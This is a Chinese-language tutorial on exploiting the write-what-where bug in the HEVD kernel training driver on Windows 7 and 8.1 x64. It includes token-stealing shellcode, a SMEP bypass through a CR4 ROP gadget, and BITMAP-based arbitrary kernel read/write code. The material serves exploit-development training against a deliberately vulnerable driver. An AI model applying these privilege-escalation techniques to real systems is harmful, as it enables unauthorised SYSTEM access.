WWW利用从Win7 x64到Win10 x64 1607(上)
字数 1455 2025-08-03 16:44:33
Windows内核漏洞利用教学:从Win7 x64到Win10 x64 1607的Write-What-Where漏洞利用
0x00 前言
本教学文档详细讲解HEVD(Windows内核漏洞训练项目)中的Write-What-Where漏洞在Win7 x64到Win10 x64 1607版本中的利用过程。Windows内核漏洞原理相对简单,关键在于exp的编写技巧。
准备工作
- 相应版本的Windows虚拟机
- 配置好windbg等调试工具(建议配合VirtualKD使用)
- 虚拟机打上相应版本的补丁
0x01 Windows 7 x64利用
利用思路回顾(x86)
- 初始化句柄等结构
- 计算需要Hook的地址(HalDispatchTable+0x4)
- 调用TriggerArbitraryOverwrite函数将shellcode地址放入Hook地址
- 调用NtQueryIntervalProfile函数触发漏洞
- 调用cmd验证提权结果
x64关键修改点
Shellcode修改
x64下需要更新shellcode以适配64位架构:
.code
ShellCode proc
mov rax, gs:[188h] ; 当前线程_KTHREAD结构体
mov rax, [rax+210h] ; _EPROCESS结构体
mov rcx, rax ; 保存当前进程EPROCESS
mov rdx, 4 ; System进程PID
findSystemPid:
mov rax, [rax+188h] ; 遍历进程链表
sub rax, 188h
cmp [rax+180h], rdx ; 比较PID
jnz findSystemPid
mov rdx, [rax+0208h] ; System进程token
mov [rcx+0208h], rdx ; 替换当前进程token
ret
ShellCode endp
end
Shellcode编译方法(VS2019)
- 创建ShellCode.asm文件并放入汇编代码
- 右键文件属性 → 生成中排除选择"否" → 项类型选择"自定义生成工具"
- 自定义工具配置:
命令行: ml64 /c %(filename).asm 输出: %(filename).obj;%(outputs) - 在ShellCode.h中声明:
void ShellCode();
64位写入适配
由于x64是qword而非dword,需要分两次写入:
VOID Trigger_shellcode(UINT64 where, UINT64 what) {
WRITE_WHAT_WHERE exploitlow;
WRITE_WHAT_WHERE exploithigh;
DWORD lpbReturn = 0;
UINT32 lowValue = what;
UINT32 highvalue = (what >> 0x20);
exploitlow.What = (PULONG_PTR)&what;
exploitlow.Where = (PULONG_PTR)where;
DeviceIoControl(hDevice, 0x22200B, &exploitlow, 0x10, NULL, 0, &lpbReturn, NULL);
exploithigh.What = (PULONG_PTR)&highvalue;
exploithigh.Where = (PULONG_PTR)(where + 0x4);
DeviceIoControl(hDevice, 0x22200B, &exploithigh, 0x10, NULL, 0, &lpbReturn, NULL);
}
0x02 Windows 8.1 x64利用
SMEP保护机制
Windows 8.1引入了SMEP(Supervisor Mode Execution Protection)保护,特征:
- 错误信息:
ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc) - 用户层代码不能在内核层执行
- SMEP标志位在CR4寄存器的第20位
绕过SMEP的方法
- 使用ROP链修改CR4寄存器(关闭SMEP)
- 找到合适的gadget:
mov cr4, rax - 计算ROP gadget地址:
- 获取内核基地址
- 在windbg中查找
KiConfigureDynamicProcessor+0x40的偏移 - 基地址+偏移得到ROP位置
BITMAP对象利用
BITMAP对象是实现任意读写的关键技术。
BITMAP结构分析
typedef struct {
BASEOBJECT64 BaseObject; // 0x18bytes
SURFOBJ64 SurfObj;
// ...
} SURFACE64;
typedef struct {
ULONG64 hHmgr; // 8bytes
ULONG32 ulShareCount; // 4bytes
WORD cExclusiveLock; // 2bytes
WORD BaseFlags; // 2bytes
ULONG64 Tid; // 8bytes
} BASEOBJECT64;
typedef struct {
ULONG64 dhsurf; // 8bytes
ULONG64 hsurf; // 8bytes
ULONG64 dhpdev; // 8bytes
ULONG64 hdev; // 8bytes
SIZEL sizlBitmap; // 8bytes
ULONG64 cjBits; // 8bytes
ULONG64 pvBits; // 8bytes
ULONG64 pvScan0; // 8bytes (关键偏移+0x50)
ULONG32 lDelta; // 4bytes
ULONG32 iUniq; // 4bytes
ULONG32 iBitmapFormat; // 4bytes
USHORT iType; // 2bytes
USHORT fjBitmap; // 2bytes
} SURFOBJ64;
BITMAP地址泄露
- 获取GdiSharedHandleTable地址:
DWORD64 getGdiShreadHandleTableAddr() {
DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 GdiShreadHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
return GdiShreadHandleTableAddr;
}
- 获取BITMAP内核地址:
DWORD64 getBitMapAddr(HBITMAP hBitmap) {
WORD arrayIndex = LOWORD(hBitmap);
return *(PDWORD64)(getGdiShreadHandleTableAddr() + arrayIndex * 0x18);
}
任意读写实现
利用SetBitmapBits和GetBitmapBits函数:
VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len) {
SetBitmapBits(hManagerBitmap, len, &whereRead);
GetBitmapBits(hWorkerBitmap, len, whatValue); // read
}
VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len) {
SetBitmapBits(hManagerBitmap, len, &whereWrite);
SetBitmapBits(hWorkerBitmap, len, &whatValue); // write
}
完整利用流程
- 初始化句柄等结构
- 内核中构造放置shellcode
- 申请两个Bitmap并泄露pvScan0
- 调用TriggerArbitraryOverwrite使一个pvScan0指向另一个
- 两次读写实现写入ROPgadgets
- 调用NtQueryIntervalProfile触发漏洞
- 还原Hook地址防止蓝屏
0x03 关键代码片段
ROP链利用
readOOB(Hal_hook_address, &lpRealHooAddress, sizeof(LPVOID)); // 保存原地址
writeOOB(Hal_hook_address, (LPVOID)ROPgadgets, sizeof(DWORD64)); // 写入ROP
NtQueryIntervalProfile(0x1234, &interVal); // 触发漏洞
writeOOB(Hal_hook_address, (LPVOID)lpRealHooAddress, sizeof(DWORD64)); // 还原
进程提权Shellcode
mov rax, gs:[188h] ; _KTHREAD
mov rax, [rax+210h] ; _EPROCESS
mov rcx, rax ; 当前进程
mov rdx, 4 ; System PID
findSystemPid:
mov rax, [rax+188h] ; 活动进程链表
sub rax, 188h
cmp [rax+180h], rdx ; 比较PID
jnz findSystemPid
mov rdx, [rax+208h] ; System token
mov [rcx+208h], rdx ; 替换token
ret
0x04 总结
本教学详细讲解了从Win7 x64到Win8.1 x64的Write-What-Where漏洞利用方法,重点包括:
- x64架构下的shellcode适配
- SMEP保护机制及绕过方法
- BITMAP对象的精妙利用实现任意读写
- 完整的ROP链构造与利用流程
后续版本(如Win10 1511-1607)的利用方法将在下篇文档中详细讲解。